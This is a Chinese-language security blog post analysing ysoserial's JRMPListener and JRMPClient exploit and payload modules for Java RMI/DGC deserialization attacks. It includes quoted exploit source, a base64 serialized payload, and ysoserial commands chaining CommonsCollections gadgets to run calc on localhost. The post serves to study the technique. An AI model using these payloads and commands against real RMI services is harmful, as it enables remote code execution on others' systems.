文章在先知社区首发

之前对这玩意儿还是不太熟悉呢,RMI的流程是熟悉了,但是这个还是有点混淆,特此记录。
有关RMI的直接推荐看一下Su18师傅的
https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93
这个写的不错我觉得。思路和条理都比较清晰,但是光看还是不行的。比我写的好,理清一下思路。(我自己都不想看自己写的)
也就是说当RMI Client发起请求后,流程大概如下

  • RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  • Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  • RemoteCall 序列化 RMI 服务名称、Remote 对象。
  • RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  • RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  • Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  • Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  • RMI 客户端反序列化服务端结果,获取远程对象的引用。
  • RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  • RMI 客户端反序列化 RMI 远程方法调用结果。
  • 上述是su18写的原话,我感觉是精华。结构感很强,我看的很懂,因为之前也自己分析过一遍流程,所以看的比较明白。

    Exploit

    JRMPListenr

    顾名思义就是起一个恶意的JRMP 监听器,用于接收一个JRMP请求,然后将恶意的序列化数据返回给我们的客户端,在客户端完成反序列化流程,最终RCE。这里演示一遍简单的流程,首先需要准备一下yso源码,然后写一个简单的demo请求这个Evil Listener

    1
    2
    3
    4
    5
    6
    7
    8
    9
    package com.javasec;

    public class Demo {
    @Test
    public void test() throws Exception {
    Naming.lookup("rmi://127.0.0.1:7777/xxxx");
    }
    }

    yso这边设置启动项
    image.png
    运行之后就会发现弹出了客户端弹出了计算器。
    image.png

    流程分析

    这边进行双向流程分析,受害机和服务端的流程分析。
    首先当客户端进行lookup后,服务端的thread会接收请求
    image.png
    image.png
    进入到doMessage流程,然后会在client这边获取到op
    image.png
    获取之后返回给服务端
    image.png
    这里op是80,对应 TransportConstants.Call 进入docall方法。
    image.png
    在这里开始设置恶意的返回值。
    image.png
    注意这里设置了 TransportConstants.ExceptionalReturn ,这与我们后续client处理请求有关系,然后设置了一下payloadObject,这里是CC5。
    随之进入Client
    image.png
    这里的return type就是上面服务端设置的 TransportConstants.ExceptionalReturn ,因此我们会进入相应的case
    image.png
    这里就对输入流进行了原生的反序列化。到这里也就完成了RCE,还是很有趣的。

    JRMPClient

    参考下列的Payloads/JRMPListener部分,他是用来主动攻击我们开启的JRMP服务端的。
    Yso中对应的源码是

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = null;
    DataOutputStream dos = null;
    try {
    s = SocketFactory.getDefault().createSocket(hostname, port);
    s.setKeepAlive(true);
    s.setTcpNoDelay(true);

    OutputStream os = s.getOutputStream();
    dos = new DataOutputStream(os);

    dos.writeInt(TransportConstants.Magic);
    dos.writeShort(TransportConstants.Version);
    dos.writeByte(TransportConstants.SingleOpProtocol);

    dos.write(TransportConstants.Call);

    @SuppressWarnings ( "resource" )
    final ObjectOutputStream objOut = new MarshalOutputStream(dos);

    objOut.writeLong(2); // DGC ObjID
    objOut.writeInt(0);
    objOut.writeLong(0);
    objOut.writeShort(0);

    objOut.writeInt(1); // dirty opnum is 1
    objOut.writeLong(-669196253586618813L); // hash

    objOut.writeObject(payloadObject); //will be unmarshaled as the first parameter

    os.flush();
    }
    finally {
    if ( dos != null ) {
    dos.close();
    }
    if ( s != null ) {
    s.close();
    }
    }
    }

    image.png
    这里对应 objOut.writeLong(-669196253586618813L);
    image.png
    对应 objOut.writeInt(1); // dirty opnum is 1
    image.png
    image.png
    也就导致了反序列化,其他的write往前追溯都可以找到。
    这里就对应上述payload中的write一系列。

    Payloads

    payload模块对应的其实都是gadgets,rmi也有所谓的gadgets

    JRMPListenr

    首先payload/JRMPListenr的作用体现在,会让存在反序列化入口点的地方,主动开启一个恶意的端口,然后当我们往这个开启的端口送入恶意的参数时就会触发反序列化,从而导致RCE。这个payload用到的地方不太多。但是流程很有趣。

    流程分析

    其实我自己是比较习惯于正向分析一波先,但是这里为了让条理清晰一点,我选择逆向分析payload。
    image.png
    java -jar ysoserial-all.jar JRMPListener 8888|base64 ,使用这个payload
    准备一个demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    package com.javasec;

    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.nio.charset.StandardCharsets;
    import java.rmi.Naming;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.HashSet;

    public class Demo {
    @Test
    public void test() throws Exception {
    //Naming.lookup("rmi://127.0.0.1:7777/xxxx");
    SerializeUtils.base64deserial("rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAAIrhwcAAAAAAAAAAAcHAAcHBw");
    while (true) {
    System.out.println(System.currentTimeMillis());
    Thread.sleep(3000);
    }
    }
    }

    这里的while循环是为了让进程不结束,因为我们要开端口的,程序结束了那么啥都结束了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    /**
    *
    *
    * UnicastRef.newCall(RemoteObject, Operation[], int, long)
    * DGCImpl_Stub.dirty(ObjID[], long, Lease)
    * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
    * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
    * DGCClient.registerRefs(Endpoint, List<LiveRef>)
    * LiveRef.read(ObjectInput, boolean)
    * UnicastRef.readExternal(ObjectInput)
    *
    * Thread.start()
    * DGCClient$EndpointEntry.<init>(Endpoint)
    * DGCClient$EndpointEntry.lookup(Endpoint)
    * DGCClient.registerRefs(Endpoint, List<LiveRef>)
    * LiveRef.read(ObjectInput, boolean)
    * UnicastRef.readExternal(ObjectInput)
    *

    Yso给出了调用栈,我们跟着来一下
    image.png
    reexport函数
    image.png
    这里就是我们payload里的ActiveGroupImpl了。我们准备把他export。
    image.png
    用UnicastServerRef包裹了一下
    image.png
    这里就是一直export,我直接跳过了
    image.png
    image.png
    到这里就listen开启监听了。然后我们就可以用 exploit/jrmpclient 去攻击这个地方了。
    java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 8888 CommonsCollections6 calc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    readObject:297, HashSet (java.util)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:497, Method (java.lang.reflect)
    invokeReadObject:1058, ObjectStreamClass (java.io)
    readSerialData:1900, ObjectInputStream (java.io)
    readOrdinaryObject:1801, ObjectInputStream (java.io)
    readObject0:1351, ObjectInputStream (java.io)
    readObject:371, ObjectInputStream (java.io)
    dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
    oldDispatch:410, UnicastServerRef (sun.rmi.server)
    dispatch:268, UnicastServerRef (sun.rmi.server)
    run:200, Transport$1 (sun.rmi.transport)
    run:197, Transport$1 (sun.rmi.transport)
    doPrivileged:-1, AccessController (java.security)
    serviceCall:196, Transport (sun.rmi.transport)
    handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
    run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    run:-1, 1052690258 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
    doPrivileged:-1, AccessController (java.security)
    run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
    runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
    run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:745, Thread (java.lang)

    放一下stack,我们创建的listener接受到了请求
    image.png
    我们这其实是攻击了服务端的DGC,可以看到左下角的DGC_SKEL,然后会对请求进行原生的反序列化,也就导致了RCE。
    image.png

    JRMPClient

    payloads/JRMPClient,这个gadgets是最常用的也是实战意义比较大的一个。它可以让反序列化点主动发起一个JRMP请求,然后我们配合exploit/JRMPListener开启一个监听。这样的话就可以成功的让client被攻击。是一种主动请求的方式。

    流程分析

    java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 7777 CommonsCollections6 calc
    image.png
    java -jar ysoserial-all.jar JRMPClient 127.0.0.1:8888|base64
    image.png
    image.png
    成功弹出计算机,这个方法的原理刚刚也说了,我们逆向跟一下流程。首先我们看一下Yso的payloads怎么构造的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public Registry getObject ( final String command ) throws Exception {

    String host;
    int port;
    int sep = command.indexOf(':');
    if ( sep < 0 ) {
    port = new Random().nextInt(65535);
    host = command;
    }
    else {
    host = command.substring(0, sep);
    port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
    }, obj);
    return proxy;
    }

    他用了一个 RemoteObjectInvocationHandler 去包裹我们的 UnicastRef ,然后在 RemoteObjectInvocationHandler
    image.png
    调用了UnicastRef的 readExternal 方法。
    image.png
    调用了LiveRef的read
    image.png
    DGCClient.registerRefs ,到了DGC处理部分了。

    在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统一在这里来说。
    DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。
    RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean:

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。
  • 这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel。

    引自Su18

    这里是客户端DGC注册Ref
    image.png
    进入 registerRefs
    image.png
    在这里要发起DirtyCall了。
    image.png
    dirty方法发起请求
    image.png
    进而回到了UnicastRef的newcall方法发起请求
    image.png
    至此完成主动访问Evil server的流程,Evil server返回payload给客户端进行Deser
    image.png
    结束。

    Summary

    还是感觉Yso这2个payload是挺有意思的,大家可以自己去尝试尝试,别搞混淆了,JRMP是RMI具有实战意义的gadgets,分析其中的流程可以让大家更好的理解RMI发序列化。到这里也算给自己的RMI做个小结。